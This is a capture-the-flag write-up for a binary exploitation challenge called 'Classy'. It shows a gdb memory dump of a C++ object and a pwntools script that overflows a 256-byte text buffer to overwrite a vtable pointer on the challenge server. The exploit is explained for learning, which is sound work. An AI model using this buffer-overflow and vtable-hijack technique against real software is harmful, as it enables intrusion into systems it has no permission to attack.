

Classy (pwn)

```
$1 = {  
    text = "\000\000\000\000\000\000\000\000\000\365A", '\000' <repeats 29 times>, "\240\033\277\367\377\177  
\000\000\001\000\000\000\000\000\000\000\240\377\377\377\377\377\377\377\021\000\000\000\000\000\000\00
```

```
0\000\320\377\367\377\177\000\000\000\000\000\000\000*000\'', "177\377\367\367' <repeats 18 times>, "\037", '\000' <repeats 15 times>, "P\273@\000\000\000\000\000\235\b\313\367\377\177\000\000@\273@\000\000\000\000\000\027\227\325\367\377\177\000\000\031X@", '\000' <repeats 13 times>, "\036\000\000\000\000\000\000\000\000h\372\217(\345\004\237 \274@\000\000\000\000\000@"...,
hCon = {
    <Connoisseur> = {
        _vptr.Connoisseur = 0x406a98 <vtable for HighLevelConnoisseur+16>
    }, <No data fields>,
lCon = {
    <Connoisseur> = {
        _vptr.Connoisseur = 0x406ab0 <vtable for LowLevelConnoisseur+16>
    }, <No data fields>
}
```

The value of `hCon` is `0x406a98`, therefore that is the value we want `lCon` to have as well. The python script below automatically overwrites the `lCon` field and recovers the flag:

```
from pwn import *

rem = True
connstr = 'rumble.host 9797'
binary_path = './classy'

p = None
if not rem:
    p = process(binary_path)
else:
    parts = connstr.split(' ') if ' ' in connstr else connstr.split(':')
    ip = parts[0]
    port = int(parts[1])
    p = remote(ip, port)

p.sendlineafter(b'?', b'1')
p.sendlineafter(b'level.', b'3')

payload = b'A' * (256 + 8) + b'\x98\x6a\x40'
input('.')
p.sendlineafter(b'me?', payload)
p.interactive()
```

It first fills up the `text` buffer, then overwrite `hCon`, since there's no way around it, but we don't really care about its value. Then the important bit is overwriting `lCon` with the value `hCon` used to have.

Comments